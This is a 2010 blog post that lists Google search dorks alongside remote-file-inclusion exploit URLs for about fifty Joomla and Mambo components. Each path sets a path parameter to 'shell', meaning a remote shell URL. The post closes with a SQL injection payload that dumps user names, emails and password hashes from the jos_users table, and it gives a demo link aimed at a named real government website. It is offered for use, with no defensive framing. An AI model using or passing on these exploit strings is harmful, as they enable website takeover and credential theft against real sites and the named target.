all news update about cyber crime.

Monday, May 24, 2010

55 Joomla Bug's



inurl:"com_admin"
/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=shell

inurl:index.php?option=com_simpleboard
/components/com_simpleboard/file_upload.php?sbp=shell

inurl:"com_hashcash"
/components/com_hashcash/server.php?mosConfig_absolute_path=shell

inurl:"com_htmlarea3_xtd-c"
/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=shell

inurl:"com_sitemap"
/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=shell

inurl:"com_performs"
/components/com_performs/performs.php?mosConfig_absolute_path=shell

inurl:"com_forum"
/components/com_forum/download.php?phpbb_root_path=

inurl:"com_pccookbook"
/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=shell

inurl:index.php?option=com_extcalendar
/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=shell

inurl:"minibb"
/components/minibb/index.php?absolute_path=shell

inurl:"com_smf"
/components/com_smf/smf.php?mosConfig_absolute_path=
/modules/mod_calendar.php?absolute_path=shell

inurl:"com_pollxt"
/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=shell

inurl:"com_loudmounth"
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=shell

inurl:"com_videodb"
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=shel l

inurl:index.php?option=com_pcchess
/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=shell

inurl:"com_multibanners"
/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=sh ell

inurl:"com_a6mambohelpdesk"
/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=shel l

inurl:"com_colophon"
/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=shell

inurl:"com_mgm"
/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=shell

inurl:"com_mambatstaff"
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=shell

inurl:"com_securityimages"
/components/com_securityimages/configinsert.php?mosConfig_absolute_path=shell
/components/com_securityimages/lang.php?mosConfig_absolute_path=shell

inurl:"com_artlinks"
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=shell

inurl:"com_galleria"
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=shell

inurl:"com_akocomment"
/akocomments.php?mosConfig_absolute_path=shell

inurl:"com_cropimage"
/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=shell

inurl:"com_kochsuite"
/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=shell

inurl:"com_comprofiler"
/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=shell

inurl:"com_zoom"
/components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=shell
/components/com_zoom/includes/database.php?mosConfig_absolute_path=shell

inurl:"com_serverstat"
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=she ll

inurl:"com_fm"
/components/com_fm/fm.install.php?lm_absolute_path=shell

inurl:com_mambelfish
/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=shell

inurl:com_lmo
/components/com_lmo/lmo.php?mosConfig_absolute_path=shell

inurl:com_linkdirectory
/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path=shell

inurl:com_mtree
/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_pat h=shell

inurl:com_jim
/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=shell

inurl:com_webring
/administrator/components/com_webring/admin.webring.docs.php?component_dir=shell

inurl:com_remository
/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=

inurl:com_babackup
/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=shell

inurl:com_lurm_constructor
/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=shell

inurl:com_mambowiki
/components/com_mambowiki/ MamboLogin.php?IP=shell

inurl:com_a6mambocredits
/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=shell

inurl:com_phpshop
/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=s hell

inurl:com_cpg
/components/com_cpg/cpg.php?mosConfig_absolute_path=shell

inurl:com_moodle
/components/com_moodle/moodle.php?mosConfig_absolute_path=shell

inurl:com_extended_registration
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_p ath=shell

inurl:com_mospray
/components/com_mospray/scripts/admin.php?basedir=shell

inurl:com_bayesiannaivefilter
/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=shell

inurl:com_uhp
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=shell

inurl:com_peoplebook
/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=shell

inurl:com_mmp
/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=shell

inurl:com_reporter
/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=shell

inurl:com_madeira
/components/com_madeira/img.php?url=shell

inurl:com_jd-wiki
/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=shell

inurl:com_bsq_sitestats
/components/com_bsq_sitestats/external/rssfeed.php?baseDir=shell
/com_bsq_sitestats/external/rssfeed.php?baseDir=shell


dork= inurl:option=com_ignitegallery
exploit= option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat%28id,0x3a,name,0x3a,username,0x3a,email,0x3a,password,0x3a,usertype%29,4,5,6,7,8,9,10+from+jos_users--
demo= http://puspen.depdagri.go.id/index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1%2C2%2Cgroup_concat%28id%2C0x3a%2Cname%2C0x3a%2Cusername%2C0x3a%2Cemail%2C0x3a%2Cpassword%2C0x3a%2Cusertype%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10+from+jos_users--

1 comments: